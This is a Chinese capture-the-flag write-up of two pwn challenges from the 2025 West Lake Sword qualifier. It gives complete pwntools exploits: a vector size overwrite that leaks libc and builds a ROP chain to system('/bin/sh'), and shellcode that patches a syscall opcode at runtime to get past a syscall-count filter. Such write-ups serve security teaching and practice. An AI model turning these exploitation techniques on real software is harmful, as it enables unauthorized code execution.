
2025第八届西湖论剑网络安全技能大赛初赛WriteUp—Pwn篇
前言
今年Pwn方向题目比较简单,中午看解题数比较多就做了一下。
共3个题目,1个栈上任意地址写、1个shellcode题,还有1个解比较少的题目没有去看。
关注公众号【Real返璞归真】回复【西湖论剑】获取Pwn题目下载地址。

VPwn
拖入IDA分析,发现是对一个vetcor进行push、pop、print和edit操作。

vector+24位置存储了vector的size大小:

每次push元素时会+1,pop时会-1,print会根据这个大小从vector+0的位置以4字节为单位打印数据,edit也会根据这个size检查下标是否合法。
[vector+0, vector+24)为数据区域,共24字节大小,由于每个元素大小为4字节,因此可以存储6个元素。
但push操作没有对元素个数进行检查,如果我们push第7个元素,则会直接覆盖size,实现对size的任意修改。
先将size修改为很大的数:
# size->100
for i in range(7):
p.sendlineafter(b'choice: ', b'2')
p.sendlineafter(b'push: ', b'100')
然后调用print,由于size很大,会输出从vector开始的一堆栈上数据。
通过动态调试发现vector附近位置存在libc地址,计算偏移后得到libc基地址。由于输出以4字节为单位,我们需要对高4字节部分左移并加上低4字节部分。
计算偏移后得到libc基地址:
# leak libc
p.sendlineafter(b'choice: ', b'4')
p.recvuntil(b'contents: ')
msg = p.recvuntil(b'\n').split(b' ')
libc_base = (int(msg[19]) << 32) + (int(msg[18]) & 0xffffffff) - 0x29d90
libc.address = libc_base
success("libc_base = " + hex(libc_base))
ret = libc_base + 0x29139
pop_rdi = libc_base + 0x2a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
由于size很大,且vector在栈上,我们可以通过edit在栈上任意写。
直接计算偏移地址后在返回地址位置写ret(movaps对齐) -> pop_rdi -> binsh -> system即可。
同样,每次只能写4字节,因此一个地址需要分2次写入,先写入低地址部分,后写入高地址部分。
edit(18, str(ret & 0xFFFFFFFF).encode())
edit(19, str((ret >> 32) & 0xFFFFFFFF).encode())
edit(20, str(pop_rdi & 0xFFFFFFFF).encode())
edit(21, str((pop_rdi >> 32) & 0xFFFFFFFF).encode())
edit(22, str(binsh & 0xFFFFFFFF).encode())
edit(23, str((binsh >> 32) & 0xFFFFFFFF).encode())
edit(24, str(system & 0xFFFFFFFF).encode())
edit(25, str((system >> 32) & 0xFFFFFFFF).encode())
完整exp:
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# size->100
for i in range(7):
p.sendlineafter(b'choice: ', b'2')
p.sendlineafter(b'push: ', b'100')
# leak libc
p.sendlineafter(b'choice: ', b'4')
p.recvuntil(b'contents: ')
msg = p.recvuntil(b'\n').split(b' ')
libc_base = (int(msg[19]) << 32) + (int(msg[18]) & 0xffffffff) - 0x29d90
libc.address = libc_base
success("libc_base = " + hex(libc_base))
ret = libc_base + 0x29139
pop_rdi = libc_base + 0x2a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
def edit(idx, content):
p.sendlineafter(b'choice: ', b'1')
p.sendlineafter(b'edit (0-based): ', str(idx).encode())
p.sendlineafter(b'new value: ', content)
# ret_addr -> system("/bin/sh")
# gdb.attach(p, 'b *$rebase(0x1513)\nc')
# pause()
edit(18, str(ret & 0xFFFFFFFF).encode())
edit(19, str((ret >> 32) & 0xFFFFFFFF).encode())
edit(20, str(pop_rdi & 0xFFFFFFFF).encode())
edit(21, str((pop_rdi >> 32) & 0xFFFFFFFF).encode())
edit(22, str(binsh & 0xFFFFFFFF).encode())
edit(23, str((binsh >> 32) & 0xFFFFFFFF).encode())
edit(24, str(system & 0xFFFFFFFF).encode())
edit(25, str((system >> 32) & 0xFFFFFFFF).encode())
# gdb.attach(p, 'b *$rebase(0x17D0)\nc')
# pause()
p.sendlineafter(b'choice: ', b'5')
p.interactive()
Heaven's door
拖入IDA分析,发现mmap开辟了一个可执行空间,允许读入shellcode并执行:

但限制了0x05 0x0f(syscall的机器码)最多使用2次:

查看沙箱保护:

可以直接orw使用open + mmap映射 + write,但是会用到3次syscall无法通过程序的检查。
绕过方法:
- 前两次open和mmap正常使用syscall
- 第三次write,用\x90对齐机器码后,在syscall的位置写入高位0x05,用汇编命令在rip寄存器指向的低位补0x0f即可正常执行syscall(0x05 0x0f)。
完整exp:
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])
p = remote("139.155.126.78", 31021)
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
shellcode = asm(shellcraft.open('flag', 0, 0))
shellcode += asm(shellcraft.mmap(0x20000, 0x1000, 1, 1, 'rax', 0))
shellcode += asm('''
mov rax,1
mov rdi,1
mov rsi,0x20000
mov rdx,0x50
mov byte ptr [rip],0x0f
''') + b'\x90\x05'
# gdb.attach(p)
# pause()
p.send(shellcode)
p.interactive()